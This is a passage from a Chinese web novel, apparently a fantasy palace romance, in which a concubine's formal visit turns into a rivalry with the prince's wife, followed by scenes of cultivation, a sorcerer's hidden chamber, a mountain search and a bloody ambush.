莲儿正给她整理床铺,闻言说道, “小姐要去护国寺吗?今日怕是不行。奴婢去给您排队买烤乳鸽的时候听见有人议论,说是太后去护国寺为太上皇祈福,半截山路都封了,只留了几个小庙宇给百姓上香,您就算去了也见不到那些得道高僧。” 江清婉将纸条焚烧在灯盏中。 “把烤乳鸽端上来吧,我饿了。” 莲儿应了一声,手脚利索端着汤盅离开,不多时就将热好的烤乳鸽还有一盘青菜,一碟肉包,外加一碗米粥放在了桌子上。 “李斗怕烤乳鸽凉了一直在土瓮里闷着,您尝尝味道变没变。” 早饭吃到一半,外面忽然传来喧闹声。 李斗的声音透着愤怒。 “不准你们进去!” 第120章 妻妾和睦 莲儿赶紧走了出去。 看到来人后脸色顿时一变,快跑了两步将李斗拉开,冲着云筱然福了福身。 “见过云姨娘。” 这个称呼让云筱然的表情僵了僵,却又很快笑着往屋内走。 “江姐姐,昨夜多谢江姐姐成全,我来给你见礼了。” 她身后还浩浩荡荡跟着几个丫鬟婆子。 李斗急道,“莲儿,她们是坏人,会欺负小姐。” 莲儿却摇了摇头。 姨娘入府要拜见正妻主母,这是规矩。 他们不能拦,只能赶紧跟着守在门口,以防不测。 云筱然衣着华贵,头上戴着春团鎏金簪,流苏坠下来的那块碧玉,色泽通透,一看就价值不菲。 她施施然走进寝卧,双眼环顾四周,故作惋惜。 “云寒哥哥实在不该,即便知道姐姐是和离之人,出身贫瘠也不该如此慢待,怎么能让姐姐住在这种简陋之地。李嬷嬷啊,等会去风雅筑的库房,在我的嫁妆里找些贵气的摆件过来给江姐姐装装门面。” 李嬷嬷憋着笑福身应下。 “是,老奴定会好好挑些相配之物。只是这屋子太小,只怕是要糟践了您给的那些好物件。” 莲儿气的咬牙。 姨娘入府拜见主母正妻时,不仅要跪拜敬茶,还要恭恭敬敬的接受主母正妻的赏赐。 她一个姨娘,却要反过来给东西,简直是倒翻天罡故意压江清婉一头。 她附耳跟李斗说了一声,愤怒的一把推开挡在门口的丫鬟,挤进房内。 对着江清婉福了福身,故意高声道, “王妃,按照规矩,云姨娘应跪着给您敬茶,既然是见礼,万不可坏了规矩。让有心之人传扬出去,还以为王府内区区一个姨娘都要当家作主了。” 云筱然的脸色陡沉。 门外李斗端着热水大力扒开了众人冲了进去。 莲儿立刻拿了茶盏沏了茶,端到了云筱然面前。 “云姨娘,请吧。” 李嬷嬷正要训斥,云筱然却忽地身形一晃,娇嗔着扶住了她的胳膊。 “我这腰,酸软的厉害。” 李嬷嬷心领神会。 扶着她坐在江清婉的对面。 “王爷也是,您是初次,也不知道疼惜一些,一整晚叫了那么多次水,听得老奴都有些脸红。” 云筱然的脸越发娇俏妩媚。 “嬷嬷,当着江姐姐的面莫要多嘴。云寒哥哥只是情难自禁,一时失控,毕竟……我是云寒哥哥的第一个女人,他初次尝了滋味,自然难以把控。” 莲儿气的肺都要炸了。 怎么如此不要脸皮! 还将这闺房之乐的细节当面说出。 她担心的看向江清婉,怕她受不住太过难受。 江清婉却神色淡淡。 “帕子怎么没送来。” 云筱然怔了怔,完全没料到江清婉会问这个。 李嬷嬷反应极快。 “太后娘娘挂念县主,白帕一早就送进了宫。” 云筱然也回过神来,红着脸羞涩的笑道,“江姐姐嫁过人果然经验丰富懂得多,不像我,昨夜那帕子还是云寒哥哥帮我垫上的,实在让姐姐笑话了。” 莲儿想把那杯热茶泼她脸上。 这么私密的事情,竟能坦然说出。 真是不知羞! 江清婉哦了一声。 “那敬茶吧。” 莲儿气愤的将茶盏递过去。 云筱然却再次露出了手腕上戴着的金镯子。 “江姐姐,不是筱然不懂事,实在是太后娘娘垂怜,我虽是姨娘,却是不用晨昏定省的行礼跪拜的。若我戴着这镯子跪拜姐姐,怕是要让姐姐折寿呢。” 这一次离得近。 江清婉清晰的看到了上面的纹路。 那并不是匠人为了美化镂空雕刻出的漂亮花纹,而是符箓。 与昨晚墨云寒描绘给她的那个符箓并不是同一个。 那个类似于情蛊,掌控的是与云筱然行房的人。 而这个,却是掌控的云筱然自己。 长久的戴下去,云筱然自身的命格气运,都被会这镯子上的符箓吸收,为他人所用。 而与云筱然行房的男人,也会在两个符箓的相互配合下,成为附属的吸收品。 至于被吸走的运气给谁用。 那要看镯子内里中刻着谁的生辰八字。 单看表面是看不到的。 他日定要让青穗偷来细细看看。 太后能赐这么个东西给云筱然,怕也不是真的待她亲厚。 她收回目光,摆了摆手让莲儿退下。 “不跪就不跪吧,莲儿,去把之前剩的那盒绿茶赐给云姨娘吗?清新口气,还能消火,配她正好。” 莲儿差点没忍住笑喷出来。 立刻福了福身转头从架子上将半盒绿茶拿了过来。 “王妃亲赐的礼物,还望云姨娘好好敬着,以彰显王府内妻妾和睦。” 云筱然恨恨地瞪了她一眼,再次娇声道, “那就多谢江姐姐了,我一定亲自沏好给王爷共饮,灭灭王爷的火,也免得王爷不知节制,折腾的我睡到日上三竿才能起身,实在是辛苦。” 江清婉煞有介事地点点头。 “你的确该好好努努力,省得他大半夜还要跑来我房间影响我睡觉。” 她说着还打了个哈欠。 “行了,礼也见了赶紧回吧,我还要躺一会。” 云筱然差点把帕子扯碎。 “姐姐胡说什么,王爷昨夜一直在我房间,怎么会来找姐姐。” 莲儿也只当是自家小姐故意这般说,虽希望是真的,可依旧心虚,没敢在这时搭话。 江清婉眸色清洌地落在云筱然脸上。 “太后娘娘这般挂念你与王爷是否同房,想必月余之后会请太医来诊脉,若那是查出你仍为处子,不知会作何感想。” 云筱然的脸色瞬间大变。 “你胡说什么?” 莲儿惊得目瞪口呆。 “处……处子?那昨晚……” 难道王爷昨晚真的宿在小姐房里。 她顿时开心的脑袋里烟花肆虐,脊背都挺得笔直,说话更是底气十足。 “牛不喝水强按头果然没什么用。” 云筱然的脸一阵红一阵白。 “姐姐真是养了个好丫鬟,牙尖嘴利。只不过姐姐怕是要失望了,王爷昨晚神勇,事后我睡得极沉,他有没有离开,我是不知的。” “或者担心姐姐闹,半夜过来看看姐姐也不是不可能。至于一月后,我定不会让太后和姐姐失望,早早怀上王爷的孩子,为王府绵延子嗣。” 她说完站起身敷衍地轻福了下身,扭头走了。 等出了后院的门,她一巴掌呼在了李嬷嬷的脸上。 “你不是说昨晚王爷不曾离开吗?” 李嬷嬷甚是委屈。 “县主,老奴真的没看到,而且桂嬷嬷也在,老奴进去送水的时候,王爷的外衫就挂在床头,鞋也脱了。” 对于昨晚的事,云筱然半点记忆都没有。 可身子骗不了人,墨云寒根本碰都没有碰她一下。 她恨得牙痒痒。 “该死的江清婉,一定是这贱人用了什么手段将王爷给召唤了去,不行,太后已经知晓我们二人同房,断然不能出岔子,还是得用我的法子,你即刻去西市把那东西买回来。” 第121章 惨烈 莲儿欢喜的追着询问。 “小姐,王爷昨晚真的宿在您这里吗?” 江清婉敷衍的嗯了一声。 “把东西撤了,我要再睡一会,你们不要进来打扰。” 莲儿开心的福了福身。 “是!” “不过小姐,您怎么没用白帕。万一将来大婚之夜,皇室索要,您岂不是拿不出来,那可是要坏了名声的。” 江清婉坐在床边懒得再说话。 莲儿虽然知道秦明朗是在成婚当日离开的,但二人之间有没有肌肤之亲,她是不敢确定的。 万一…… 她以为自己说错了,心里忐忑没敢再问。 收拾好碗碟匆匆离开。 房门被关上隔绝了外面的阳光。 江清婉摸出三枚丹药放在掌心吸收。 丹田内逐渐被丰盈的灵气填充,她损失掉的修为也在一点点恢复。 此时,太学院内的书库中, 夏宇找到了正埋头翻书的郑成业,故做随意的打着招呼。 “你们王府不是办喜事吗?你怎么还在学院?” 郑成业手里拿着那张解卦纸,头都没抬。 继续翻找着手里晦涩难懂的古书。 夏宇看了一眼。 “你这是要驱魔啊,写的鬼画符一样,要是驱魔,我建议你去护国寺求那里的方丈,听说很灵的。” 郑成业翻书的动作猛地停了下来。 对啊,他竟忘了还有这个地方。 母亲以前就常说护国寺方丈是得道高僧,也时常去那里祭拜添香。 想必方丈一定能看得懂这张纸上的内容,也一定能知道那张护身符到底是什么用处。 “多谢夏公子解惑。” 他将书放回书架,冲着夏宇拱了拱手,急匆匆往外走。 夏宇忙跟了两步。 “你等休沐的日子再去吧,戒律司的人最近查的严。” 郑成业没理,身影很快消失在书库外。 夏宇转头将郑成业刚刚看的书拿了下来,翻看看了看。 自那日他偷听到郭浩的书童提过的江娘子,便偷偷在学院里打听过,几个跟霍震关系不错的人说,霍震中了邪,是郭浩找了个女天师才治好的。 那女天师就是姓江。 现在夏宇这幅神秘兮兮的样子,看来外面传的九王爷的正妃,真的是个玄门天师,还跟郭浩不清不楚。 他将书放回原位,立刻回了自己的寝卧,写了密函交给了书童送了出去。 …… 三枚丹药吸收完,江清婉仍觉还有空余,又多加了两颗。 等她打坐结束,外面的阳光依旧很炙热。 她好奇起身,打开门看着已经快西沉的太阳,微微皱了皱眉。 日落月升,这个时辰的阳光不该这么刺眼。 她当即掐指算了算,心下不由不惊。 “赤阳日?怪不得她能连续吸收五枚丹药。” 赤阳日天地灵气纯化,修行之人若能寻得宝地打坐,可事半功倍。一切真阳阵法和玄术都会威力大增,但同样的,至阴玄术则会被压制。 她忽然想起那只黑乌鸦。 他的术法皆是至阴。 在赤阳日当天功力最弱。 但当阴阳交汇的时候,阳盛阴衰的极限转换时。 又是他功力最强之时。 她眼波流转,立刻叫来莲儿和李斗。 “你们去买些东西回来,太阳落山之前回来。” 与此同时,坤宁宫的地下暗室隔绝了一切光线。 幽暗的烛火中盘膝坐着一人。 帷帽摘下,露出了一张满是红色符箓的脸。 白发赤瞳,在光影中犹如一只修罗恶鬼。 在他四周摆放着诡异数个黑色的骷髅头,那骷髅头的眼睛位置,与他的双眼一样泛着赤红的光。 他转头看向一旁的沙漏。 时辰还未到。 等日月交汇,便是闯皇陵之时。 此刻,玄灵山中, 墨云寒和夜七已经过了半山腰。 山路崎岖不平,蛇虫鼠蚁汇聚,很多地方连插脚处都没有。 夜七挥舞着剑砍动树枝。 “王爷,听闻玄灵山中有位坐化的神仙,在山顶之上,吸收了日月精华后飞升,您信不信?” 墨云寒没说话,薄唇抿着脸色有些难看。 不知为何,他入山之后,身体就开始一阵一阵的眩晕,连运起轻功登山都有些困难。 可夜七却并无异常。 他想起江清婉提过的镇妖。 若这山中真有仙灵压制了他的血脉,那是不是说明,灵狐化形也是真的。 他稍作喘息。 “那我们就去山顶。” 夜七点点头,继续在前面开路。 峰会路转的时机,忽然看到一处山脚有人影窜动。 “王爷,你看。” 墨云寒循声望去,剑眉紧皱。 “应该是护灵卫的人,他们怎会往山上走?” 夜七道,“会不会也是来找灵狐的?” 墨云寒心下一凛。 “脚程快一些。” 二人闷头往山上爬,速度也随之加快。 玄灵山下十几里外。 苏柳儿正在与人厮杀。 她带了六个好手,已经折了一半。 而敌人手中的金钩弯刀让她异常心惊。 大隋的余孽,竟然已经到了玄灵山附近。 他们拿出宝贝变卖,更是设局黑吃黑,怕不是要筹集军需,意图不轨。 她的人不能全折在这里,必须把消息传回去。 她奋起一刀挡在一个瘦个男人前面。 “小武,走,去找夜七。” 小武是这些人里轻功最好的。 闻言急道, “掌柜的,我们一起走。” 晃神间有一个兄弟又被金钩弯刀的机关射中。 倒钩的弩箭扯掉了一大块皮肉。 惨叫声响起,那人朝着小武喊。 “带掌柜的走,快!” 苏柳儿看着自家兄弟的惨状,气的柳眉倒竖,正想去救人,小武却一把拽住她,运气轻功就准备突围。 半截弯刀通过机关弩飞射而来。 小武反应不及时,眼看就要被消掉了脑袋。 苏柳儿猛地拽了他一把,自己的后背被刀尖划破,鲜血喷涌而出。 另一把弯刀也在这时飞刺而来,摆明了要杀人灭口,不给他们活路。 刚刚被倒钩的弩箭割下皮肉的人冲过来奋力挡下,满嘴鲜血咬牙怒吼。 “快跑!” 他狰狞着五官猛地攻向对方,给小武和苏柳儿争取了片刻的时间。 二人都是身经百战,知道多留无义,当下运起轻功疾驰而去。 身后的人紧追不舍,射出的飞弩,几乎擦着他们的后脑勺。 这时远处忽然响起一阵哨声,所有人都停了下来,又训练有素的齐齐后撤离开。 苏柳儿先前的伤就不轻,这会儿更是强行提气,精神一松懈,哇哇的连续吐了好几口鲜血。 小武拽着她的胳膊往身上背。 “掌柜的,我一定送您回去。” 苏柳儿摇摇头。 从脖子上拽下一块玉塞他手里。 “拿着这个你去王府找夜七,告诉他,金钩弯刀的人已到玄灵山,快去。” 小武拼命摇头。 “不行,你留在这里会死的。” “听话,快去。” 苏柳儿推他,却被小武伸手点了穴位,直接背在身上,再次运功冲了出去。 随着太阳落下,夜幕一点点吞噬热度。 黑暗渐渐侵袭整个大地。 若白天有多炙热,这入夜就有多阴冷。 仿佛一瞬间,将炙烤在大地上的光拽入了深不见底的幽暗地府。